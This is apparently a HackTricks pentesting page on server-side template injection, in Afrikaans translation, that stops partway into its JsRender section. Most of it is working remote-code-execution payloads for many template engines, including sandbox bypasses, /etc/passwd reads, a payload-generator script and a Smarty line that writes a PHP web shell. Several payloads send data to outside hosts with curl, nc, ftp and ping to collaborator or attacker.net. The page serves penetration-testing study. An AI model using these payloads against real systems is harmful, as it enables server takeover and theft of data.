hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

# SSTI (Server Side Template Injection)

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## Wat is SSTI (Server-Side Template Injection)

Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n sjabloon kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan in verskeie tegnologieë gevind word, insluitend Jinja.

Jinja is 'n gewilde sjabloon enjin wat in webtoepassings gebruik word. Kom ons oorweeg 'n voorbeeld wat 'n kwesbare kode-snippet met Jinja demonstreer:
```python
output = template.render(name=request.args.get('name'))
```
In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die sjabloon deur die `render` funksie oorgedra. Dit kan potensieel 'n aanvaller toelaat om kwaadwillige kode in die `name` parameter in te spuit, wat lei tot server-side template injection.

Byvoorbeeld, 'n aanvaller kan 'n versoek saamstel met 'n payload soos hierdie:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Die payload `{{bad-stuff-here}}` word in die `name` parameter ingespuit. Hierdie payload kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongeoorloofde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.

Om bediener-kant sjabloon-inspuitingskwulnerabiliteite te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesuiwer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidasie en die gebruik van konteksbewuste ontsnappingstegnieke kan help om die risiko van hierdie kwesbaarheid te verminder.

### Detectie

Om Server-Side Template Injection (SSTI) te detecteer, is dit aanvanklik **fuzzing the template** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:

* Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul.
* Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
* **Plaintext Context**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`).
* **Code Context**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee.

#### Identifikasiefase

Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.

## Gereedskap

### [TInjA](https://github.com/Hackmanit/TInjA)

'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets poliglotte gebruik.
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```
### [Tplmap](https://github.com/epinna/tplmap)
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)

'n Interaktiewe tabel wat die mees doeltreffende template-inspuitings-polyglotte bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.

## Exploits

### Generies

In hierdie **woordlys** kan jy **veranderlikes gedefinieer** in die omgewings van sommige van die enjin hieronder vind:

* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)

### Java

**Java - Basiese inspuiting**
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Verkry die stelsels se omgewing veranderlikes**
```java
${T(java.lang.System).getenv()}
```
**Java - Verkry /etc/passwd**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
### FreeMarker (Java)

Jy kan jou payloads probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org)

* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Niks`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - Sandbox omseiling**

⚠️ werk slegs op Freemarker weergawes onder 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
**Meer inligting**

* In die FreeMarker afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)

### Velocity (Java)
```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
```
**Meer inligting**

* In die Velocity afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)

### Thymeleaf

In Thymeleaf is 'n algemene toets vir SSTI kwesbaarhede die uitdrukking `${7*7}`, wat ook op hierdie sjabloon enjin van toepassing is. Vir potensiële afstandkode-uitvoering kan uitdrukkings soos die volgende gebruik word:

*   SpringEL:

```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
*   OGNL:

```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```

Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, _uitdrukking inlyn_ word ondersteun vir ander sjabloon plekke, met sintaksis soos `[[...]]` of `[(...)]`. Dus, 'n eenvoudige SSTI toets payload kan lyk soos `[[${7*7}]]`.

Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om sjablone van stringe op die vlieg te skep, wat ongewoon is.

Thymeleaf bied ook _uitdrukking voorverwerking_ aan, waar uitdrukkings binne dubbele onderstrepings (`__...__`) voorverwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:
```java
#{selection.__${sel.code}__}
```
**Voorbeeld van Kwetsbaarheid in Thymeleaf**

Overweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandkode-uitvoering wat toegang tot URL's soos:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Meer inligting**

* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)

{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}

### Spring Framework (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Deur filters te omseil**

Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.

* Lees `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Pasgemaakte Skrip vir payload-generasie
```python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)
```
**Meer Inligting**

* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads alles die dinge](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)

### Spring Uitsig Manipulasie (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)

{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}

### Pebble (Java)

* `{{ someString.toUPPERCASE() }}`

Ou weergawe van Pebble ( < weergawe 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Nuwe weergawe van Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}




{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava is 'n oopbronprojek ontwikkel deur Hubspot, beskikbaar by [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)

**Jinjava - Opdrag uitvoering**

Gerepareer deur [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
**Meer inligting**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)

### Hubspot - HuBL (Java)

* `{% %}` verklaring afdelings
* `{{ }}` uitdrukking afdelings
* `{# #}` kommentaar afdelings
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - klas com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Soek vir "com.hubspot.content.hubl.context.TemplateContextRequest" en ontdek die [Jinjava projek op Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
**Meer inligting**

* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)

### Uitdrukkingstaal - EL (Java)

* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`

Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL benut, sluit in:

* **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te verseker, wat 'n meer samehangende toepassingsstruktuur waarborg.

Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpretators**:

{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}

### Groovy (Java)

Die volgende Sekuriteitsbestuurder omseilings is geneem uit hierdie [**skrywe**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

##

### Smarty (PHP)
```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
**Meer inligting**

* In Smarty afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)

### Twig (PHP)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
* `{{foobar}} Niks`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Sjabloonformaat**
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Meer inligting**

* In die Twig en Twig (Sandboxed) afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)

### Plates (PHP)

Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie uit Twig put. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.

Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Bladsy sjabloon:
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Layout-sjabloon:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
**Meer inligting**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)

### PHPlib en HTML\_Template\_PHPLIB (PHP)

[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar na Pear oorgedra. 

`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
`authors.php`
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Meer inligting**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)

### Jade (NodeJS)
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Meer inligting**

* In die Jade afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)

### patTemplate (PHP)

> [patTemplate](https://github.com/wernerwa/pat-template) nie-kompilerende PHP templating engine, wat XML merke gebruik om 'n dokument in verskillende dele te verdeel
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
**Meer inligting**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)

### Handlebars (NodeJS)

Pad Traversering (meer inligting [hier](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Fout
* ${7\*7} = ${7\*7}
* Niks
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Meer inligting**

* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)

### JsRender (NodeJS)

| **Sjabloon** | **Beskrywing**                         |
| ------------ | --------------------------------------- |
